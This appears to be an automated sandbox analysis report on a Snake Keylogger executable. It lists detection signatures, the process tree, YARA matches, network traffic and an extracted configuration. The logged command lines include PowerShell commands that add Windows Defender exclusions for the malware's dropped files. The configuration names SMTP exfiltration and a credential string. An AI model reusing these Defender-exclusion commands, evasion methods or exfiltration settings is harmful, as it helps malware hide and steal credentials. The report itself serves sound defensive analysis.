Play interactive tour

Edit tour

Analysis Report lfQuSBwdSf.exe

Overview

General Information

Sample Name:	lfQuSBwdSf.exe
Analysis ID:	383847
MD5:	0802967c1d72deeb4e1b79af74fdb553
SHA1:	f8edbbed8318311f070167c73fcca9f63f79c905
SHA256:	201872c79f07606d9874bc471acf1999e0eef0703e73c71a4a297eb56c70bcfb
Tags:	exeSnakeKeylogger
Infos:
Most interesting Screenshot:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Snake Keylogger

Adds a directory exclusion to Windows Defender

Changes security center settings (notifications, updates, antivirus, firewall)

Creates an autostart registry key pointing to binary in C:\Windows

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

May check the online IP address of the machine

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file access)

Yara detected Beds Obfuscator

Antivirus or Machine Learning detection for unpacked file

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Startup

System is w10x64

lfQuSBwdSf.exe (PID: 2788 cmdline: 'C:\Users\user\Desktop\lfQuSBwdSf.exe' MD5: 0802967C1D72DEEB4E1B79AF74FDB553)

powershell.exe (PID: 1004 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 720 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\lfQuSBwdSf.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 1000 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3984 cmdline: 'C:\Windows\System32\cmd.exe' /c timeout 1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6248 cmdline: timeout 1 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

lfQuSBwdSf.exe (PID: 6864 cmdline: C:\Users\user\Desktop\lfQuSBwdSf.exe MD5: 0802967C1D72DEEB4E1B79AF74FDB553)

WerFault.exe (PID: 6164 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2788 -s 2300 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 4908 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6216 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6528 cmdline: 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' MD5: 0802967C1D72DEEB4E1B79AF74FDB553)

svchost.exe (PID: 6624 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6672 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6712 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6872 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6908 cmdline: 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' MD5: 0802967C1D72DEEB4E1B79AF74FDB553)

powershell.exe (PID: 4424 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5092 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 3348 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6932 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7152 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1648 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "SMTP Info": {"Port": "587", "SMTP Credential": "bal@nobettwo.xyzKvgnCIGBE8+Hnobettwo.xyz"}}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
23.2.svchost.exe.4a72390.5.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
23.2.svchost.exe.4a72390.5.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
23.2.svchost.exe.4ad53b0.6.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
23.2.svchost.exe.4ad53b0.6.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
23.2.svchost.exe.4ad53b0.6.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
23.2.svchost.exe.4ad53b0.6.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
17.2.svchost.exe.49c8f18.2.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
17.2.svchost.exe.49c8f18.2.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
17.2.svchost.exe.4965ef8.3.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
17.2.svchost.exe.4965ef8.3.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
21.2.lfQuSBwdSf.exe.400000.0.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
21.2.lfQuSBwdSf.exe.400000.0.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
17.2.svchost.exe.4965ef8.3.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
17.2.svchost.exe.4965ef8.3.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
23.2.svchost.exe.4a72390.5.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
23.2.svchost.exe.4a72390.5.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
17.2.svchost.exe.49c8f18.2.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
17.2.svchost.exe.49c8f18.2.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Click to see the 13 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "SMTP Info": {"Port": "587", "SMTP Credential": "bal@nobettwo.xyzKvgnCIGBE8+Hnobettwo.xyz"}}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

ReversingLabs: Detection: 29%

Multi AV Scanner detection for submitted file

Show sources

Source: lfQuSBwdSf.exe	Virustotal: Detection: 24%			Perma Link
Source: lfQuSBwdSf.exe	ReversingLabs: Detection: 29%

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: lfQuSBwdSf.exe

Joe Sandbox ML: detected

Source: 21.2.lfQuSBwdSf.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen

Source: unknown	HTTPS traffic detected: 104.21.56.119:443 -> 192.168.2.3:49701 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49725 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49737 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49777 version: TLS 1.0

Source: lfQuSBwdSf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbOS source: lfQuSBwdSf.exe, 00000000.00000002.341939107.00000000013F2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbs source: lfQuSBwdSf.exe, 00000000.00000002.341939107.00000000013F2000.00000004.00000020.sdmp
Source:	Binary string: npAjVisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbs source: lfQuSBwdSf.exe, 00000000.00000002.341262404.00000000013C2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: lfQuSBwdSf.exe, 00000000.00000002.340683009.0000000001392000.00000004.00000020.sdmp
Source:	Binary string: (P6jLC:\Windows\Microsoft.VisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: lfQuSBwdSf.PDB source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb, source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: lfQuSBwdSf.exe, 00000000.00000002.341262404.00000000013C2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\lfQuSBwdSf.PDB source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb1G source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: C:\Users\user\Desktop\lfQuSBwdSf.PDB source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.341262404.00000000013C2000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdby source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp
Source:	Binary string: .pdb%H source: lfQuSBwdSf.exe, 00000000.00000002.333378140.00000000010F7000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: lfQuSBwdSf.exe, 00000000.00000002.342059141.00000000013FA000.00000004.00000020.sdmp

Networking:

May check the online IP address of the machine

Show sources

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	DNS query: name: checkip.dyndns.org
Source: C:\Users\user\Desktop\lfQuSBwdSf.exe	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7C92219C6C42B363C26A6A670922F074.html HTTP/1.1UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Host: myliverpoolnews.cfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-133B76AB9374D6781F41A2D553BC2BA3.html HTTP/1.1UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Host: myliverpoolnews.cf
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-5C52937048F55BFE92995966F69D90F1.html HTTP/1.1UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Host: myliverpoolnews.cf

Source: Joe Sandbox View

IP Address: 162.88.193.70 162.88.193.70

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	HTTPS traffic detected: 104.21.56.119:443 -> 192.168.2.3:49701 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49725 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49737 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.188.154:443 -> 192.168.2.3:49777 version: TLS 1.0

Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7C92219C6C42B363C26A6A670922F074.html HTTP/1.1UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Host: myliverpoolnews.cfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-133B76AB9374D6781F41A2D553BC2BA3.html HTTP/1.1UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Host: myliverpoolnews.cf
Source: global traffic	HTTP traffic detected: GET /liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-5C52937048F55BFE92995966F69D90F1.html HTTP/1.1UserAgent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41Host: myliverpoolnews.cf
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
